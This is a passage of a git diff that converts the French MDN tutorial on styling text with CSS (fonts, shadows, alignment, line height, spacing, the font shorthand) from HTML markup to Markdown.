utilisé pour appliquer ou enlever le style italique. Les valeurs possibles sont les suivantes (vous ne l'utiliserez que rarement, sauf si vous souhaitez désactiver le style italique pour une raison quelconque) : + + - `normal` : fige le texte en police normale (suppression du style italique existant). + - `italic `: met le texte en _version italique de la police_ si elle est disponible ; si elle n'existe pas, le style italique sera émulé avec l'option oblique à la place. + - `oblique` : force le texte à utiliser une version simulée de fonte italique, créée en _inclinant la version normale_. + +- {{cssxref("font-weight")}} : définit la graisse du texte. La propriété peut avoir de nombreuses valeurs s'il y a de nombreuses variantes de polices disponibles (comme _-light_, _-normal_, _-bold_, _-extrabold_, _-black_, etc.), mais en réalité, vous les utiliserez rarement en dehors de `normal` et `bold` (gras): + + - `normal`, `bold` : graisse de la police, normale ou **bold**. + - `lighter`, `bolder` : définit la graisse de l'élément courant de sorte qu'il soit un cran moins gras ou plus gras que son parent. + - `100–900` : valeurs numériques du taux de graisse ; elles permettent un dosage plus fin que les mots-clés ci-dessus, si nécessaire. + +- {{cssxref("text-transform")}} : Vous permet de définir les transformations de votre police. Les valeurs comprennent : + + - `none` : aucune transformation. + - `uppercase` : met tout le texte en majuscules. + - `lowercase` : met tout le texte en minuscules. + - `capitalize` : transforme tous les mots en mettant leur première lettre en majuscules. + - `full-width` : force l'écriture de tous les glyphes dans un carré de largeur fixe, similaire à une police à espacement fixe, permettant leur alignement, par ex. caractères latins avec des glyphes de langue asiatique (comme le chinois, le japonais, le coréen.) + +- {{cssxref("text-decoration")}} : active ou désactive les décorations de texte sur les polices (vous les utiliserez principalement pour désactiver le soulignement par défaut sur les liens lors de leur création). Les valeurs disponibles sont : + + - `none`: désactive les décorations du texte déjà présentes. + - `underline`: souligne le texte. + - `overline`: trace une ligne au-dessus du texte. + - `line-through`: barre le texte. + + Vous devez noter que {{cssxref("text-decoration")}} peut accepter plusieurs valeurs à la fois, si vous voulez en ajouter plusieurs simultanément, par exemple `text-decoration: underline overline`. Notez aussi que {{cssxref("text-decoration")}} est la propriété raccourcie pour {{cssxref("text-decoration-line")}}, {{cssxref("text-decoration-style")}} et {{cssxref("text-decoration-color")}}. Vous pouvez utiliser des combinaisons de ces valeurs de propriété pour créer des effets intéressants, par exemple `text-decoration: line-through red wavy`. + +Regardons l'ajout de quelques-unes de ces propriétés à notre exemple. + +Notre nouveau résultat ressemble à : + +```html hidden +<h1>Tommy le Chat</h1> + +<p>Je m'en souviens comme mon dernier repas...</p> + +<p>Dit Tommy le Chat en jetant la tête en arrière pour dégager ce corps étranger qui s'était niché au fond de sa redoutable gueule. Beaucoup de rats bien gras trépassèrent dans la ruelle en regardant l'étoile brillant au fond du canon de cet extraordinaire rôdeur en quête de proie. Un véritable miracle de la nature ce prédateur urbain — Tommy le Chat avait beaucoup d'histoires à raconter. Mais il ne le faisait qu'en de rares -occasions, comme maintenant.</p></pre> -</div> +occasions, comme maintenant.</p> +``` -<pre class="brush: css hidden">html { +```css hidden +html { font-size: 10px; } @@ -377,53 +324,57 @@ p { font-size: 1.4rem; color: red; font-family: Helvetica, Arial, sans-serif; -}</pre> +} +``` -<p>{{ EmbedLiveSample('Style_de_fonte_graisse_transformation_et_décoration_de_texte', '100%', 220) }}</p> +{{ EmbedLiveSample('Style_de_fonte_graisse_transformation_et_décoration_de_texte', '100%', 220) }} -<h3 id="Ombres_du_texte">Ombres du texte</h3> +### Ombres du texte -<p>Vous pouvez ombrer votre texte avec la propriété {{cssxref("text-shadow")}}. Elle prend 4 valeurs, comme vous pouvez le voir dans l'exemple ci-dessous :</p> +Vous pouvez ombrer votre texte avec la propriété {{cssxref("text-shadow")}}. Elle prend 4 valeurs, comme vous pouvez le voir dans l'exemple ci-dessous : -<pre class="brush: css">text-shadow: 4px 4px 5px red;</pre> +```css +text-shadow: 4px 4px 5px red; +``` -<p>Les 4 propriétés sont les suivantes :</p> +Les 4 propriétés sont les suivantes : -<ol> - <li>Le décalage horizontal de l'ombre par rapport au texte original — cette grandeur acepte la plupart des <a href="/fr/Learn/CSS/Introduction_to_CSS/Values_and_units#Length_and_size">unités de longueur et de taille</a> des CSS disponibles, mais vous utiliserez en règle générale le px. Cette valeur doit être précisée.</li> - <li>Le décalage vertical de l'ombre par rapport au texte original — cette grandeur se comporte à la base comme la précédente, sauf que l'ombre est portée vers le haut ou vers le bas, et non vers la gauche ou la droite. Cette valeur doit être précisée.</li> - <li>Le rayon de floutage — plus cette valeur est élevée, plus l'ombre est étalée largement. Si cette valeur n'est pas précisée, la valeur par défaut est 0, ce qui signifie pas de flou. Elle accepte toutes les <a href="/fr/Learn/CSS/Introduction_to_CSS/Values_and_units#Length_and_size">unités de longueur et de taille</a> des CSS.</li> - <li>La couleur de l'ombre, qui peut prendre toute <a href="/fr/Learn/CSS/Introduction_to_CSS/Values_and_units#Colors">unité de couleur CSS</a>. Si elle n'est pas définie, c'est la couleur noire par défaut.</li> -</ol> +1. Le décalage horizontal de l'ombre par rapport au texte original — cette grandeur acepte la plupart des [unités de longueur et de taille](/fr/Learn/CSS/Introduction_to_CSS/Values_and_units#Length_and_size) des CSS disponibles, mais vous utiliserez en règle générale le px. Cette valeur doit être précisée. +2. Le décalage vertical de l'ombre par rapport au texte original — cette grandeur se comporte à la base comme la précédente, sauf que l'ombre est portée vers le haut ou vers le bas, et non vers la gauche ou la droite. Cette valeur doit être précisée. +3. Le rayon de floutage — plus cette valeur est élevée, plus l'ombre est étalée largement. Si cette valeur n'est pas précisée, la valeur par défaut est 0, ce qui signifie pas de flou. Elle accepte toutes les [unités de longueur et de taille](/fr/Learn/CSS/Introduction_to_CSS/Values_and_units#Length_and_size) des CSS. +4. La couleur de l'ombre, qui peut prendre toute [unité de couleur CSS](/fr/Learn/CSS/Introduction_to_CSS/Values_and_units#Colors). Si elle n'est pas définie, c'est la couleur noire par défaut. -<div class="note"> -<p><strong>Note :</strong> Les valeurs positives de décalage déplacent l'ombre à droite et en bas, mais vous pouvez aussi utiliser des valeurs négatives pour obtenir une ombre à gauche et en haut, par exemple <code>-1px -1px</code>.</p> -</div> +> **Note :** Les valeurs positives de décalage déplacent l'ombre à droite et en bas, mais vous pouvez aussi utiliser des valeurs négatives pour obtenir une ombre à gauche et en haut, par exemple `-1px -1px`. -<h4 id="Ombres_multiples">Ombres multiples</h4> +#### Ombres multiples -<p>Vous pouvez appliquer plusieurs ombres à un même texte, en mettant plusieurs valeurs d'ombrage séparées par une virgule, par exemple :</p> +Vous pouvez appliquer plusieurs ombres à un même texte, en mettant plusieurs valeurs d'ombrage séparées par une virgule, par exemple : -<pre class="brush: css">text-shadow: -1px -1px 1px #aaa, +```css +text-shadow: -1px -1px 1px #aaa, 0px 4px 1px rgba(0,0,0,0.5), 4px 4px 5px rgba(0,0,0,0.7), - 0px 0px 7px rgba(0,0,0,0.4);</pre> + 0px 0px 7px rgba(0,0,0,0.4); +``` -<p>Si nous l'appliquons à l'élément {{htmlelement ("h1")}} de notre exemple Tommy le Chat, nous nous obtenons :</p> +Si nous l'appliquons à l'élément {{htmlelement ("h1")}} de notre exemple Tommy le Chat, nous nous obtenons : -<pre class="brush: html hidden"><h1>Tommy le Chat</h1> +```html hidden +<h1>Tommy le Chat</h1> -<p>Je m'en souviens comme mon dernier repas...</p> +<p>Je m'en souviens comme mon dernier repas...</p> -<p>Dit Tommy le Chat en jetant la tête en arrière pour dégager +<p>Dit Tommy le Chat en jetant la tête en arrière pour dégager ce corps étranger qui s'était niché au fond de sa redoutable gueule. Beaucoup de rats bien gras trépassèrent dans la ruelle en regardant l'étoile brillant au fond du canon de cet extraordinaire rôdeur en quête de proie. Un véritable miracle de la nature ce prédateur urbain — Tommy le Chat avait beaucoup d'histoires à raconter. Mais il ne le faisait qu'en de rares -occasions, comme maintenant.</p></pre> +occasions, comme maintenant.</p> +``` -<pre class="brush: css hidden">html { +```css hidden +html { font-size: 10px; } @@ -445,44 +396,43 @@ p { color: red; font-family: Helvetica, Arial, sans-serif; } -</pre> +``` -<p>{{ EmbedLiveSample('Ombres_du_texte', '100%', 220) }}</p> +{{ EmbedLiveSample('Ombres_du_texte', '100%', 220) }} -<div class="note"> -<p><strong>Note :</strong> Vous pouvez voir plus d'exemples intéressants de <code>text-shadow</code> dans l'article de Sitepoint <a href="http://www.sitepoint.com/moonlighting-css-text-shadow/">Moonlighting with CSS text-shadow</a> (Clair de lune avec text-shadow).</p> -</div> +> **Note :** Vous pouvez voir plus d'exemples intéressants de `text-shadow` dans l'article de Sitepoint [Moonlighting with CSS text-shadow](http://www.sitepoint.com/moonlighting-css-text-shadow/) (Clair de lune avec text-shadow). -<h2 id="Mise_en_page_du_texte">Mise en page du texte</h2> +## Mise en page du texte -<p>Après les propriétés de base des polices, examinons maintenant celles permettant de modifier la disposition des textes.</p> +Après les propriétés de base des polices, examinons maintenant celles permettant de modifier la disposition des textes. -<h3 id="Alignement_du_texte">Alignement du texte</h3> +### Alignement du texte -<p>La propriété {{cssxref("text-align")}} s'utilise pour contrôler la disposition du texte dans la zone de contenu. Les valeurs acceptées sont les suivantes. Elles fonctionnent à peu près de la même manière que dans un traitement de texte :</p> +La propriété {{cssxref("text-align")}} s'utilise pour contrôler la disposition du texte dans la zone de contenu. Les valeurs acceptées sont les suivantes. Elles fonctionnent à peu près de la même manière que dans un traitement de texte : -<ul> - <li><code>left</code>: le texte est aligné à gauche.</li> - <li><code>right</code>: le texte est aligné à droite.</li> - <li><code>center</code>: le texte est centré.</li> - <li><code>justify</code>: étale le texte, en faisant varier les espaces entre les mots afin de donner la même largeur à toutes les lignes du texte. Vous devez l'utiliser avec discernement — il peut sembler parfait, surtout lorsqu'il est appliqué à un paragraphe avec beaucoup de longs mots. Si vous voulez l'utiliser, vous devriez aussi penser à utiliser quelque chose d'autre, comme {{cssxref ("hyphens")}}, pour couper certains des mots les plus longs entre les lignes.</li> -</ul> +- `left`: le texte est aligné à gauche. +- `right`: le texte est aligné à droite. +- `center`: le texte est centré. +- `justify`: étale le texte, en faisant varier les espaces entre les mots afin de donner la même largeur à toutes les lignes du texte. Vous devez l'utiliser avec discernement — il peut sembler parfait, surtout lorsqu'il est appliqué à un paragraphe avec beaucoup de longs mots. Si vous voulez l'utiliser, vous devriez aussi penser à utiliser quelque chose d'autre, comme {{cssxref ("hyphens")}}, pour couper certains des mots les plus longs entre les lignes. -<p>Si nous appliquons <code>text-align: center;</code> à l'élément {{htmlelement("h1")}} de notre exemple, nous aurons :</p> +Si nous appliquons `text-align: center;` à l'élément {{htmlelement("h1")}} de notre exemple, nous aurons : -<pre class="brush: html hidden"><h1>Tommy le Chat</h1> +```html hidden +<h1>Tommy le Chat</h1> -<p>Je m'en souviens comme mon dernier repas...</p> +<p>Je m'en souviens comme mon dernier repas...</p> -<p>Dit Tommy le Chat en jetant la tête en arrière pour dégager +<p>Dit Tommy le Chat en jetant la tête en arrière pour dégager ce corps étranger qui s'était niché au fond de sa redoutable gueule. Beaucoup de rats bien gras trépassèrent dans la ruelle en regardant l'étoile brillant au fond du canon de cet extraordinaire rôdeur en quête de proie. Un véritable miracle de la nature ce prédateur urbain — Tommy le Chat avait beaucoup d'histoires à raconter. Mais il ne le faisait qu'en de rares -occasions, comme maintenant.</p></pre> +occasions, comme maintenant.</p> +``` -<pre class="brush: css">html { +```css +html { font-size: 10px; } @@ -504,31 +454,37 @@ p { font-size: 1.4rem; color: red; font-family: Helvetica, Arial, sans-serif; -}</pre> +} +``` -<p>{{ EmbedLiveSample('Alignement_du_texte', '100%', 220) }}</p> +{{ EmbedLiveSample('Alignement_du_texte', '100%', 220) }} -<h3 id="Hauteur_de_ligne">Hauteur de ligne</h3> +### Hauteur de ligne -<p>La propriété {{cssxref ("line-height")}} définit la hauteur de chaque ligne de texte — elle peut prendre la plupart des <a href="/fr/Apprendre/CSS/Introduction_à_CSS/Values_and_units#Length_and_size">unités de longueur et de taille</a>, mais elle peut également prendre une valeur sans unité, qui agit comme un multiplicateur et est considérée habituellement comme la meilleure option — la valeur de {{cssxref ("font-size")}} est multipliée par ce facteur pour obtenir la valeur de <code>line-height</code>. Le corps de texte semble généralement plus agréable et est plus facile à lire lorsque les lignes sont espacées ; la hauteur de ligne recommandée est d'environ 1,5-2 (double interligne). Donc, pour définir une hauteur de ligne de texte égale à 1,5 fois la hauteur de la police, vous utiliserez ceci :</p> +La propriété {{cssxref ("line-height")}} définit la hauteur de chaque ligne de texte — elle peut prendre la plupart des [unités de longueur et de taille](/fr/Apprendre/CSS/Introduction_à_CSS/Values_and_units#Length_and_size), mais elle peut également prendre une valeur sans unité, qui agit comme un multiplicateur et est considérée habituellement comme la meilleure option — la valeur de {{cssxref ("font-size")}} est multipliée par ce facteur pour obtenir la valeur de `line-height`. Le corps de texte semble généralement plus agréable et est plus facile à lire lorsque les lignes sont espacées ; la hauteur de ligne recommandée est d'environ 1,5-2 (double interligne). Donc, pour définir une hauteur de ligne de texte égale à 1,5 fois la hauteur de la police, vous utiliserez ceci : -<pre class="brush: css">line-height: 1.5;</pre> +```css +line-height: 1.5; +``` -<p>En appliquant cette règle à l'élément {{htmlelement("p")}} de l'exemple, nous obtenons :</p> +En appliquant cette règle à l'élément {{htmlelement("p")}} de l'exemple, nous obtenons : -<pre class="brush: html hidden"><h1>Tommy le Chat</h1> +```html hidden +<h1>Tommy le Chat</h1> -<p>Je m'en souviens comme mon dernier repas...</p> +<p>Je m'en souviens comme mon dernier repas...</p> -<p>Dit Tommy le Chat en jetant la tête en arrière pour dégager +<p>Dit Tommy le Chat en jetant la tête en arrière pour dégager ce corps étranger qui s'était niché au fond de sa redoutable gueule. Beaucoup de rats bien gras trépassèrent dans la ruelle en regardant l'étoile brillant au fond du canon de cet extraordinaire rôdeur en quête de proie. Un véritable miracle de la nature ce prédateur urbain — Tommy le Chat avait beaucoup d'histoires à raconter. Mais il ne le faisait qu'en de rares -occasions, comme maintenant.</p></pre> +occasions, comme maintenant.</p> +``` -<pre class="brush: css hidden">html { +```css hidden +html { font-size: 10px; } @@ -550,36 +506,42 @@ p { font-size: 1.4rem; color: red; font-family: Helvetica, Arial, sans-serif; -}</pre> +} +``` -<p>{{ EmbedLiveSample('Hauteur_de_ligne', '100%', 250) }}</p> +{{ EmbedLiveSample('Hauteur_de_ligne', '100%', 250) }} -<h3 id="Espacement_entre_les_lettres_et_les_mots">Espacement entre les lettres et les mots</h3> +### Espacement entre les lettres et les mots -<p>Les propriétés {{cssxref ("letter-spacing")}} et {{cssxref ("word-spacing")}} permettent de définir l'espacement entre les lettres et les mots de votre texte. Vous ne les utiliserez pas très souvent, mais vous pourriez les utiliser pour obtenir une certaine apparence ou pour améliorer la lisibilité d'une police particulièrement dense. Ils peuvent prendre la plupart des <a href="/fr/Learn/CSS/Introduction_to_CSS/Values_and_units#Length_and_size">unités de longueur et de taille</a>.</p> +Les propriétés {{cssxref ("letter-spacing")}} et {{cssxref ("word-spacing")}} permettent de définir l'espacement entre les lettres et les mots de votre texte. Vous ne les utiliserez pas très souvent, mais vous pourriez les utiliser pour obtenir une certaine apparence ou pour améliorer la lisibilité d'une police particulièrement dense. Ils peuvent prendre la plupart des [unités de longueur et de taille](/fr/Learn/CSS/Introduction_to_CSS/Values_and_units#Length_and_size). -<p>Si nous appliquons les paramètres suivants à la première ligne des éléments {{htmlelement("p")}} dans notre exemple :</p> +Si nous appliquons les paramètres suivants à la première ligne des éléments {{htmlelement("p")}} dans notre exemple : -<pre class="brush: css">p::first-line { +```css +p::first-line { letter-spacing: 2px; word-spacing: 4px; -}</pre> +} +``` -<p>Nous obtiendrons :</p> +Nous obtiendrons : -<pre class="brush: html hidden"><h1>Tommy le Chat</h1> +```html hidden +<h1>Tommy le Chat</h1> -<p>Je m'en souviens comme mon dernier repas...</p> +<p>Je m'en souviens comme mon dernier repas...</p> -<p>Dit Tommy le Chat en jetant la tête en arrière pour dégager +<p>Dit Tommy le Chat en jetant la tête en arrière pour dégager ce corps étranger qui s'était niché au fond de sa redoutable gueule. Beaucoup de rats bien gras trépassèrent dans la ruelle en regardant l'étoile brillant au fond du canon de cet extraordinaire rôdeur en quête de proie. Un véritable miracle de la nature ce prédateur urbain — Tommy le Chat avait beaucoup d'histoires à raconter. Mais il ne le faisait qu'en de rares -occasions, comme maintenant.</p></pre> +occasions, comme maintenant.</p> +``` -<pre class="brush: css hidden">html { +```css hidden +html { font-size: 10px; } @@ -607,85 +569,86 @@ p { color: red; font-family: Helvetica, Arial, sans-serif; line-height: 1.5; -}</pre> +} +``` -<p>{{ EmbedLiveSample('Espacement_entre_les_lettres_et_les_mots', '100%', 250) }}</p> +{{ EmbedLiveSample('Espacement_entre_les_lettres_et_les_mots', '100%', 250) }} -<h3 id="D'autres_propriétés_intéressantes">D'autres propriétés intéressantes</h3> +### D'autres propriétés intéressantes -<p>Les propriétés ci-dessus donnent un début d'idée de la manière de composer un style pour un texte de page web, mais beaucoup d'autres propriétés peuvent être utilisées. Nous n'avons juste évoqué que les plus importantes. Une fois que vous serez un familier de l'utilisation de ce qui précède, explorez donc ce qui suit :</p> +Les propriétés ci-dessus donnent un début d'idée de la manière de composer un style pour un texte de page web, mais beaucoup d'autres propriétés peuvent être utilisées. Nous n'avons juste évoqué que les plus importantes. Une fois que vous serez un familier de l'utilisation de ce qui précède, explorez donc ce qui suit : -<p>Styles de police de caractères :</p> +Styles de police de caractères : -<ul> - <li>{{cssxref("font-variant")}} : bascule entre petites majuscules et police normale, et réciproquement.</li> - <li>{{cssxref("font-kerning")}} : active et désactive les options de crénage des polices.</li> - <li>{{cssxref("font-feature-settings")}} : active et désactive les fonctionnalités des polices de caractères <a href="https://en.wikipedia.org/wiki/OpenType">OpenType</a>.</li> - <li>{{cssxref("font-variant-alternates")}} : contrôle l'utilisation de glyphes alternatifs pour une apparence de police donnée.</li> - <li>{{cssxref("font-variant-caps")}}: contrôle l'utilisation de glyphes alternatifs en capitales.</li> - <li>{{cssxref("font-variant-east-asian")}} : contrôle l'utilisation de glyphes alternatifs pour les écritures des pays de l'est de l'Asie, comme le japonais ou le chinois.</li> - <li>{{cssxref("font-variant-ligatures")}} : contrôle les ligatures et formes contextuelles utilisées dans le texte.</li> - <li>{{cssxref("font-variant-numeric")}} : contrôle l'utilisation de glyphes alternatifs pour les nombres, les fractions et les marqueurs ordinaux.</li> - <li>{{cssxref("font-variant-position")}} : contrôle l'utilisation de glyphes alternatifs de plus petites tailles positionnés en exposant ou en indice.</li> - <li>{{cssxref("font-size-adjust")}} : ajuste la taille visuelle de la police indépendamment de sa taille réelle.</li> - <li>{{cssxref("font-stretch")}} : bascule entre les versions étirées alternatives possibles d'une police donnée.</li> - <li>{{cssxref("text-underline-position")}} : définit la position du soulignement avec la valeur <code>underline</code> pour la propriété <code>text-decoration-line</code>.</li> - <li>{{cssxref("text-rendering")}} : essaye d'effectuer une optimisation du rendu du texte.</li> -</ul> +- {{cssxref("font-variant")}} : bascule entre petites majuscules et police normale, et réciproquement. +- {{cssxref("font-kerning")}} : active et désactive les options de crénage des polices. +- {{cssxref("font-feature-settings")}} : active et désactive les fonctionnalités des polices de caractères [OpenType](https://en.wikipedia.org/wiki/OpenType). +- {{cssxref("font-variant-alternates")}} : contrôle l'utilisation de glyphes alternatifs pour une apparence de police donnée. +- {{cssxref("font-variant-caps")}}: contrôle l'utilisation de glyphes alternatifs en capitales. +- {{cssxref("font-variant-east-asian")}} : contrôle l'utilisation de glyphes alternatifs pour les écritures des pays de l'est de l'Asie, comme le japonais ou le chinois. +- {{cssxref("font-variant-ligatures")}} : contrôle les ligatures et formes contextuelles utilisées dans le texte. +- {{cssxref("font-variant-numeric")}} : contrôle l'utilisation de glyphes alternatifs pour les nombres, les fractions et les marqueurs ordinaux. +- {{cssxref("font-variant-position")}} : contrôle l'utilisation de glyphes alternatifs de plus petites tailles positionnés en exposant ou en indice. +- {{cssxref("font-size-adjust")}} : ajuste la taille visuelle de la police indépendamment de sa taille réelle. +- {{cssxref("font-stretch")}} : bascule entre les versions étirées alternatives possibles d'une police donnée. +- {{cssxref("text-underline-position")}} : définit la position du soulignement avec la valeur `underline` pour la propriété `text-decoration-line`. +- {{cssxref("text-rendering")}} : essaye d'effectuer une optimisation du rendu du texte. -<p>styles de mise en page du texte</p> +styles de mise en page du texte -<ul> - <li>{{cssxref("text-indent")}} : indique le nombre d'espaces à ménager horizontalement avant le début de la première ligne de texte du contenu.</li> - <li>{{cssxref("text-overflow")}} : définit la façon de signaler aux utilisateurs le contenu en débordement (et donc non affiché).</li> - <li>{{cssxref("white-space")}} : définit comment les espaces blancs et les sauts de ligne associés dans l'élément sont gérés.</li> - <li>{{cssxref("word-break")}} : spécifie s'il y a césure dans les mots.</li> - <li>{{cssxref("direction")}} : définit la direction du texte (cela dépend de la langue et généralement, il vaut mieux laisser HTML la gérer car elle est liée au contenu du texte.)</li> - <li>{{cssxref("hyphens")}} : active et désactive la césure pour les langues prises en charge.</li> - <li>{{cssxref("line-break")}} : détend ou renforce la rupture de ligne pour les langues asiatiques.</li> - <li>{{cssxref("text-align-last")}} : définit comment la dernière ligne d'un bloc ou d'une ligne, juste avant un saut de ligne forcé, est alignée.</li> - <li>{{cssxref("text-orientation")}} : définit l'orientation du texte dans une ligne.</li> - <li>{{cssxref("word-wrap")}} : indique si le navigateur peut replier une ligne en conservant l'ordre des mots pour empêcher un débordement.</li> - <li>{{cssxref("writing-mode")}} : définit si les lignes de texte sont disposées horizontalement ou verticalement et la direction des lignes suivantes.</li> -</ul> +- {{cssxref("text-indent")}} : indique le nombre d'espaces à ménager horizontalement avant le début de la première ligne de texte du contenu. +- {{cssxref("text-overflow")}} : définit la façon de signaler aux utilisateurs le contenu en débordement (et donc non affiché). +- {{cssxref("white-space")}} : définit comment les espaces blancs et les sauts de ligne associés dans l'élément sont gérés. +- {{cssxref("word-break")}} : spécifie s'il y a césure dans les mots. +- {{cssxref("direction")}} : définit la direction du texte (cela dépend de la langue et généralement, il vaut mieux laisser HTML la gérer car elle est liée au contenu du texte.) +- {{cssxref("hyphens")}} : active et désactive la césure pour les langues prises en charge. +- {{cssxref("line-break")}} : détend ou renforce la rupture de ligne pour les langues asiatiques. +- {{cssxref("text-align-last")}} : définit comment la dernière ligne d'un bloc ou d'une ligne, juste avant un saut de ligne forcé, est alignée. +- {{cssxref("text-orientation")}} : définit l'orientation du texte dans une ligne. +- {{cssxref("word-wrap")}} : indique si le navigateur peut replier une ligne en conservant l'ordre des mots pour empêcher un débordement. +- {{cssxref("writing-mode")}} : définit si les lignes de texte sont disposées horizontalement ou verticalement et la direction des lignes suivantes. -<h2 id="Abréviations_pour_propriétés_de_fontes">Abréviations pour propriétés de fontes</h2> +## Abréviations pour propriétés de fontes -<p>De nombreuses propriétés des fontes peuvent être déclarées de manière abrégée avec {{cssxref("font")}}. Elles sont écrites dans l'ordre suivant : {{cssxref("font-style")}}, {{cssxref("font-variant")}}, {{cssxref("font-weight")}}, {{cssxref("font-stretch")}}, {{cssxref("font-size")}}, {{cssxref("line-height")}} et {{cssxref("font-family")}}.</p> +De nombreuses propriétés des fontes peuvent être déclarées de manière abrégée avec {{cssxref("font")}}. Elles sont écrites dans l'ordre suivant : {{cssxref("font-style")}}, {{cssxref("font-variant")}}, {{cssxref("font-weight")}}, {{cssxref("font-stretch")}}, {{cssxref("font-size")}}, {{cssxref("line-height")}} et {{cssxref("font-family")}}. -<p>Parmi toutes ces propriétés, seules <code>font-size</code> et <code>font-family</code> sont requises lorsque la propriété abrégée <code>font</code> est utilisée.</p> +Parmi toutes ces propriétés, seules `font-size` et `font-family` sont requises lorsque la propriété abrégée `font` est utilisée. -<p>Une barre oblique doit être placée entre les propriétés {{cssxref("font-size")}} et {{cssxref("line-height")}}.</p> +Une barre oblique doit être placée entre les propriétés {{cssxref("font-size")}} et {{cssxref("line-height")}}. -<p>Un exemple complet ressemblerait à ceci :</p> +Un exemple complet ressemblerait à ceci : -<pre class="brush: css">font: italic normal bold normal 3em/1.5 Helvetica, Arial, sans-serif;</pre> +```css +font: italic normal bold normal 3em/1.5 Helvetica, Arial, sans-serif; +``` -<h2 id="Apprentissage_actif_jouer_avec_les_styles_du_texte">Apprentissage actif : jouer avec les styles du texte</h2> +## Apprentissage actif : jouer avec les styles du texte -<p>Dans cette session d'apprentissage actif, nous n'avons pas d'exercice spécifique à vous proposer : nous voulons juste vous permettre de jouer avec certaines propriétés de police ou mise en page de texte et de voir ce que vous pouvez produire ! Vous pouvez le faire en utilisant des fichiers HTML / CSS hors ligne ou en entrant votre code dans l'exemple modifiable en direct ci-dessous.</p> +Dans cette session d'apprentissage actif, nous n'avons pas d'exercice spécifique à vous proposer : nous voulons juste vous permettre de jouer avec certaines propriétés de police ou mise en page de texte et de voir ce que vous pouvez produire ! Vous pouvez le faire en utilisant des fichiers HTML / CSS hors ligne ou en entrant votre code dans l'exemple modifiable en direct ci-dessous. -<p>Si vous faites une erreur, vous pouvez toujours <em>Réinitialiser</em> avec le bouton de même nom.</p> +Si vous faites une erreur, vous pouvez toujours _Réinitialiser_ avec le bouton de même nom. -<pre class="brush: html hidden"><div class="body-wrapper" style="font-family: 'Open Sans Light',Helvetica,Arial,sans-serif;"> - <h2>Zone de saisie du HTML</h2> - <textarea id="code" class="html-input" style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;"> - <p>Un peu de texte pour vous délecter !</p></textarea> +```html hidden +<div class="body-wrapper" style="font-family: 'Open Sans Light',Helvetica,Arial,sans-serif;"> + <h2>Zone de saisie du HTML</h2> + <textarea id="code" class="html-input" style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;"> + <p>Un peu de texte pour vous délecter !</p></textarea> - <h2>Zone de saisie de la CSS</h2> - <textarea id="code" class="css-input" style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;">p { + <h2>Zone de saisie de la CSS</h2> + <textarea id="code" class="css-input" style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;">p { - }</textarea> + }</textarea> - <h2>Zone de rendu</h2> - <div class="output" style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;"></div> - <div class="controls"> - <input id="reset" type="button" value="Réinitialiser" style="margin: 10px 10px 0 0;"> - </div> -</div> -</pre> + <h2>Zone de rendu</h2> + <div class="output" style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;"></div> + <div class="controls"> + <input id="reset" type="button" value="Réinitialiser" style="margin: 10px 10px 0 0;"> + </div> +</div> +``` -<pre class="brush: js hidden">var htmlInput = document.querySelector(".html-input"); +```js hidden +var htmlInput = document.querySelector(".html-input"); var cssInput = document.querySelector(".css-input"); var reset = document.getElementById("reset"); var htmlCode = htmlInput.value; @@ -710,22 +673,20 @@ reset.addEventListener("click", function() { htmlInput.addEventListener("input", drawOutput); cssInput.addEventListener("input", drawOutput); window.addEventListener("load", drawOutput); -</pre> +``` -<p>{{ EmbedLiveSample('Apprentissage_actif_jouer_avec_les_styles_du_texte', 700, 800) }}</p> +{{ EmbedLiveSample('Apprentissage_actif_jouer_avec_les_styles_du_texte', 700, 800) }} -<h2 id="Résumé">Résumé</h2> +## Résumé -<p>Nous espérons que vous avez aimé jouer avec le texte dans cet article ! Le prochain article vous donnera tout ce que vous devez savoir sur le style des listes HTML.</p> +Nous espérons que vous avez aimé jouer avec le texte dans cet article ! Le prochain article vous donnera tout ce que vous devez savoir sur le style des listes HTML. -<p>{{NextMenu("Learn/CSS/Styling_text/Styling_lists", "Learn/CSS/Styling_text")}}</p> +{{NextMenu("Learn/CSS/Styling_text/Styling_lists", "Learn/CSS/Styling_text")}} -<h2 id="Dans_ce_module">Dans ce module</h2> +## Dans ce module -<ul> - <li><a href="/fr/docs/Learn/CSS/Styling_text/initiation-mise-en-forme-du-texte">Initiation à la mise en forme du texte</a></li> - <li><a href="/fr/docs/Learn/CSS/Styling_text/Styling_lists">Style de listes</a></li> - <li><a href="/fr/docs/Learn/CSS/Styling_text/Mise_en_forme_des_liens">Mise en forme des liens</a></li> - <li><a href="/fr/docs/Learn/CSS/Styling_text/Web_fonts">Polices de caractères web</a></li> - <li><a href="/fr/docs/Learn/CSS/Styling_text/Typesetting_a_homepage">Composition d'une page d'accueil d'une école communale</a></li> -</ul> +- [Initiation à la mise en forme du texte](/fr/docs/Learn/CSS/Styling_text/initiation-mise-en-forme-du-texte) +- [Style de listes](/fr/docs/Learn/CSS/Styling_text/Styling_lists) +- [Mise en forme des liens](/fr/docs/Learn/CSS/Styling_text/Mise_en_forme_des_liens) +- [Polices de caractères web](/fr/docs/Learn/CSS/Styling_text/Web_fonts) +- [Composition d'une page d'accueil d'une école communale](/fr/docs/Learn/CSS/Styling_text/Typesetting_a_homepage) diff --git a/files/fr/learn/css/styling_text/index.md b/files/fr/learn/css/styling_text/index.md index 18838ad893..8fa8a82086 100644 --- a/files/fr/learn/css/styling_text/index.md +++ b/files/fr/learn/css/styling_text/index.md @@ -13,36 +13,30 @@ tags: - Texte translation_of: Learn/CSS/Styling_text --- -<p>Une fois acquises les bases du langage CSS, la prochaine étape pour vous est la mise en forme de texte, une des choses les plus commune mais essentielle du CSS. Nous étudierons ici les principes de base de la mise en forme de texte : choix de polices de caractères, gras ou italique, interlignes et espacement de caractères, ajouter des ombres et autres fonctionnalités. Nous terminerons le module en détaillant l'intégration de polices personnalisées à votre page, ainsi que la mise en forme de listes et de liens.</p> +Une fois acquises les bases du langage CSS, la prochaine étape pour vous est la mise en forme de texte, une des choses les plus commune mais essentielle du CSS. Nous étudierons ici les principes de base de la mise en forme de texte : choix de polices de caractères, gras ou italique, interlignes et espacement de caractères, ajouter des ombres et autres fonctionnalités. Nous terminerons le module en détaillant l'intégration de polices personnalisées à votre page, ainsi que la mise en forme de listes et de liens. -<h2 id="Prérequis">Prérequis</h2> +## 